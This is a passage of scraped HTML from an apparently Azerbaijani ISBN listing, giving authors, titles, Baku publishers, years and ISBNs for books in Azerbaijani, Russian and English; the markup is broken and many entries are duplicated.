outline-p.png\");\"=\"\">Yoqa hamı üçün. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267785</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yoqa hamı üçün. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267785</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yusifqızı, R. Riyazaiyyat əyləncəli ola bilərmiş. Bakı: Altun Kitab nəşriyyatı, 2014. ISBN: 9789952241853</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yusifqızı, R. Riyazaiyyat əyləncəli ola bilərmiş. Bakı: Altun Kitab nəşriyyatı, 2014. ISBN: 9789952241853</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">100 ən yaxşı kitab . Bakı : “OL”MMC, 2014 . ISBN: 978995249435a</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Zaytsev , S&nbsp; . Hamiləlik və doğuş haqqında əsas kitab&nbsp; .&nbsp; Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp; 9789952267709</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Zeynalov, E. Tələ. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267396</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Zeynalov, E. Tələ. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267396</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Züskind, P. Parfümer: bir qatilin tarixçəsi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267563</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Züskind, P. Parfümer: bir qatilin tarixçəsi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267563</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Авар мацIалъул словарь. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268324</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Авар мацIалъул словарь. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268324</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Аварцы Алазанской долины .&nbsp; Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp; 9789952268379</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Азербайджанские сказки. Баку: Издательство Ганун, 2014. ISBN: 9789952267204</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Азербайджанские сказки. Баку: Издательство Ганун, 2014. ISBN: 9789952267204</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Багирлы , Ф . Свой Аршин&nbsp; . Bakı : Qanun&nbsp; , 2014 . ISBN&nbsp; :&nbsp;&nbsp; 9789952268522</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Бадалов , Р . Ступени&nbsp; . Bakı : Qanun&nbsp; , 2014 . ISBN&nbsp; :&nbsp;&nbsp; 9789952268416</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Бахшалиева, Н. З. Защитный эффект антиоксидантов в зависимости от сроков хранения в озоновой среде растений и животных. Баку: Издательство Хазар Университети, 2014. ISBN: 9789952825329</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Бахшалиева, Н. З. Защитный эффект антиоксидантов в зависимости от сроков хранения в озоновой среде растений и животных. Баку: Издательство Хазар Университети, 2014. ISBN: 9789952825329</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Вазех, М. Ш. Лирика. Баку: Чашыоглу, 2014. ISBN: 9789952483406</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Вазех, М. Ш. Лирика. Баку: Чашыоглу, 2014. ISBN: 9789952483406</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Везиров, Х. Н. Некоторые философские,юридические и экономические проблемы постсоветских республик. Баку: 2014. ISBN: 9789952290868</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Везиров, Х. Н. Некоторые философские,юридические и экономические проблемы постсоветских республик. Баку: 2014. ISBN: 9789952290868</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Воплощение. Баку: Фонд Гейдара Алиева, 2014. ISBN: 9789952483840</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Воплощение. Баку: Фонд Гейдара Алиева, 2014. ISBN: 9789952483840</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Годжаев,Т.Б.&nbsp;&nbsp;&nbsp;&nbsp; Корцентрация напряжений в многосвязных кусочно-однородных средах&nbsp; . Bakı : Elm&nbsp; , 2014 . ISBN&nbsp; :&nbsp;&nbsp; 9789952495324</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Джафаров, Т. Pецепция прозы М.Ю.Лермонтова в Азербайджане. Баку: Мутарджим, 2014. ISBN: 9789952281910</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Джафаров, Т. Pецепция прозы М.Ю.Лермонтова в Азербайджане. Баку: Мутарджим, 2014. ISBN: 9789952281910</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">&nbsp;Исабейли , Г. Осел сын осла ( rus,azərbaycan).&nbsp;Bakı : Azərnəşr , 2014. ISBN : 9789952802429</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Керимов, В. Н. Как образовалась вселенная ?! Баку: АФполигрАФ, 2014. ISBN: 9789952824841</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Керимов, В. Н. Как образовалась вселенная ?! Баку: АФполигрАФ, 2014. ISBN: 9789952824841</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Котта, Д. Стамбул – Париж: реальная история. Баку: Издательство Ганун, 2014. ISBN: 9789952267938</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Котта, Д. Стамбул – Париж: реальная история. Баку: Издательство Ганун, 2014. ISBN: 9789952267938</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Мамедли, Э. Человек, стоящий в 24-м ряду. Баку: Издательство Ганун, 2014. ISBN: 9789952266511</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Мамедли, Э. Человек, стоящий в 24-м ряду. Баку: Издательство Ганун, 2014. ISBN: 9789952266511</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Мамедов , Э . Перевод спасет мир афоризмы&nbsp; . Bakı : Kitabklubu&nbsp; , 2014 . ISBN&nbsp; :&nbsp; 9789952825251</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Назирли, К. 19+1: рассказы, пьеса. Баку: Мутарджим, 2014. ISBN: 9789952281958</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Назирли, К. 19+1: рассказы, пьеса. Баку: Мутарджим, 2014. ISBN: 9789952281958</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Парвин. Для Самира. Баку: Мутарджим, 2014. ISBN: 9789952281743</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Парвин. Для Самира. Баку: Мутарджим, 2014. ISBN: 9789952281743</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Рамиз Дениз&nbsp; . Загадочное открытие Бразилии .&nbsp;Bakı : Nasir, 2014. ISBN&nbsp; :&nbsp;&nbsp; 9789952823028</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Рамиз Дениз . Насирэддин Туси - ученый, опередивший века&nbsp; .&nbsp;Bakı : Nasir, 2014. ISBN&nbsp; :&nbsp; 9789952823011</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Саид , К . Али и Нино .&nbsp;Bakı :&nbsp;Qanun , 2014 . ISBN&nbsp; :&nbsp; 9789952267037</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Тагиев, Д. Б. Перспективные направления современной химии. Баку: Элм, 2014. ISBN: 9789952495126</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Тагиев, Д. Б. Перспективные направления современной химии. Баку: Элм, 2014. ISBN: 9789952495126</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Харлан, Р. М. Темнота. Баку: Издательство Ганун, 2014. ISBN: 9789952266870</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Харлан, Р. М. Темнота. Баку: Издательство Ганун, 2014. ISBN: 9789952266870</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Шикилар авай гафалаг. Bakı: Qanunnəşriyyatı, 2014. ISBN: 9789952268638</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Шикилар авай гафалаг. Bakı: Qanunnəşriyyatı, 2014. ISBN: 9789952268638</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Эюбов , А . Хрестоматия для самоубийц&nbsp; .&nbsp;Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp; 9789952502039</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">&nbsp;Юсиф, А .&nbsp; Военное искусство тюрков в огузском эпосе \" Китаби Деде горгуд\" .&nbsp;Bakı : “OL” MMC , 2014. ISBN 9789952494310</p><hr noshade=\"noshade\"><strong>A</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abasov, A. Variants for a Solution of the Karabakh Conflict: Concepts and Reality. Baku: Yeni Nesil, 2002. ISBN: 9952240155</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abbasov, Ə. Qarabağ münaqişəsinin həlli variantları: ideyalar və reallıq. Bakı: Yeni Nəsil, 2002. ISBN: 9952240139</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abbasov, Ə. Sülh mədəniyyəti nədir?. Bakı: Yeni Nəsil, 2002. ISBN: 9952240090</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/988/1/Bahlul%20kitab.pdf\"><strong>Abdulla, B. Sevgi dolu alim və pedaqoq.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2010. ISBN: 9789952200584</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, F. Maliyyə menecmentinin əsasları. Bakı: Çaşıoğlu, 2002. ISBN: 9789952813494</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayeva, Ş. Kiçikyaşlı məktəblilərə insan hüquqlarının öyrədilməsi. Bakı: Тutu, 2001. ISBN: 9952401019</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abe, T. Foreign Policy of Japan. Baku: Khazar University Press, 2007. ISBN: 9952200409</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Adıgözəl, S. Elçin. Bakı: Qafqaz Universiteti, 2006. ISBN: 9952250320</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Axundov, M. F. Kəmalüddövlə məktubları. Bakı: Qanun, 2012. ISBN: 9789952262520</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Akademik Yusif Məmmədəliyev. Bakı: Tutu. ISBN: 9952422008</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Akademik Yusif Məmmədəliyev. Bakı: Tutu, 2005. ISBN: 9952422024</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1808\"><strong>Amerika müsəlmanları.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2010. ISBN: 9789952200607</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">An Anthology of Yiddish Music. Baku: Yeni Nesil, 2002. ISBN: 9952240163</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Aranlı, М. Əyləncəli riyaziyyat. Bakı: Xəzər Universitəsi, 2003. ISBN: 995241008X</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Arterial Hipertanziya Disk. Bakı:&nbsp; ISBN: 9952431058</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Arterial Hipertanziya. Bakı: ISBN: 9952431066</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Aruz, S. Yüz il inqilab. Bakı: Qanun, 2012. ISBN: 9789952262551</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Arveladze, B. Armenian or Georgian in Churches in Georgia? Baku: Khazar University, 2002. ISBN: 9952200161</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1123/1/bu%20dunyaya%20ne%20getirdim%20dez%20Times.pdfnyaya%20ne%20getirdim%20dez%20Times.pdf\"><strong>Aslan, K. Bu dünyaya nə gətirdim... Hamlet İsayev (İsaxanlı).</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2005. ISBN: 9952200323</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Audit qanunvericilik və normativ sənədlər. Bakı: Nağıl Evi, 2002. ISBN: 995221006X</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Avropa insan hüquqları məhkəməsi. I c. Bakı: Çaşıoğlu, 2004. ISBN: 9952270240</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Avropa insan hüquqları məhkəməsi. II c. Bakı: Çaşıoğlu 2004. ISBN: 9952270259</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycan bələdiyyələri: ilk təcrübə, əsas problemlər və inkşaf perspektivləri. Bakı: Xəzər</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Universitəsi, 2004. ISBN: 9952409194</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycan Bələdiyyə sistemi. Bakı : 2007. ISBN: 9952809206</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycan hüquq jurnalı. Bakı: Araz, 2002. № 1. ISBN: 9952260040</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycan hüquq jurnalı. Bakı: Araz, 2002. № 2. ISBN: 9952406007</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycan hüquq jurnalı. Bakı: Araz, 2002. № 3. ISBN: 9952406015</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycan XX əsrin əvvəllərində. Bakı: Oka ofset, 2004. ISBN: 9952411042</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycan kinosu: xronikal-sənədli, elmi-kütləvi, sifariş və tədris filmlərinin izahlı kataloqu. Bakı:&nbsp;Nağıl Evi, 2003. ISBN: 995220116</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycan mədən sənayesində şəfaflığın uçbucaği. Bakı: ISBN: 9952805748</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycan onkologiya və hematologiya jurnalı. Bakı: Ankoloji Elmi Mərkəz, 2005.&nbsp;ISBN: 9952807503</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycanın ornitoloji əraziləri.&nbsp; Cild 2. Bakı: Ornotoloji cəmiyyəti, 2011. ISBN: 9789952803723</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycan Respublikasının milli prosessual məcəlləsinin elmi-praktik kommentariyası. Bakı:&nbsp;Patronat-S şirkəti, 2003. ISBN: 9952409100</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1660/1/sevf%20roez%201%20yeni.pdf\"><strong>Azərbaycan sevgi poeziyası</strong></a>: çoxcildli. C. 1. Bakı: Xəzər Universitəsi, 2008. ISBN: 9789952200454</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1661\"><strong>Azərbaycan sevgi poeziyası</strong></a>: çoxcildli. C. 2. Bakı: Xəzər Universitəsi, 2009. ISBN: 9789952200508</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1662\"><strong>Azərbaycan sevgi poeziyası</strong></a>: çoxcildli. C. 3. Bakı: Xəzər Universitəsi, 2009. ISBN: 9789952200515</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycan tarixinin çağdaş problemləri. Bakı: Xəzər Universitəsi, 2001. ISBN: 9952200013</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycan toyu.Bakı: Tutu, 2003. ISBN: 9952410004</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1059\"><strong>Azərbaycan və Litva Konsorsiumlarının əməkdaşlığı.</strong></a>&nbsp;Bakı Xəzər Universitəsi, 2005.&nbsp;ISBN: 9952200293</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycanda iqtisadi islahatların həyata keçirilməsi xüsusiyyətləri və problemləri. Bakı:&nbsp;El-Alliance, 2003. ISBN: 9952290241</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycanda mədəniyyət siyasəti. Bakı: Nağıl Evi, 2003. ISBN: 9952210175</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycanda və Gürcüstanda yerli özününü idarə. Bakı: Yeni Nəsil, 2002. ISBN: 995224018Х</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycanın elm xadimləri Niftalı Mehralı oğlu Qocayev : biblioqrafiya. Bakı: Qafqaz Universiteti, 2011. ISBN: 9789952468014</p><hr noshade=\"noshade\"><strong>B</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Babanlı, V. Kişilik haqqında himn. Bakı: Xəzər Universitəsi, 2002. ISBN: 9952200129</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bal ilə müalicə. Bakı: El-Alliance, 2002. ISBN: 9952290004</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Balayev, X. Azərbaycan dilinin dövlət dili kimi təşəkkül tarixindən. Bakı, 2002. ISBN: 9952801602</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Baybəyim, A. Bir vətəndən başqa nəyimiz var ki. Bakı: El-Alliance, 2002. ISBN: 9952810172</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bədəlov R. Otuz üç pillə yuxarı. Bakı: Tutu, 2004. ISBN: 9952422032</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Banişevski olduğu kimi. Bakı: Nağıl Evi, 2002. ISBN: 9952210027</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bələdiyyə büdcəsini necə təhlil etməli ? &nbsp;Bakı: “Ekspert” jurnalı, 2004. ISBN: 9952803141</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bələdiyyə büdcəsinin şəffaflığı. Bakı: İqtisadi Tədqiqatlar Mərkəzi, 2004. ISBN: 9952805705</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" 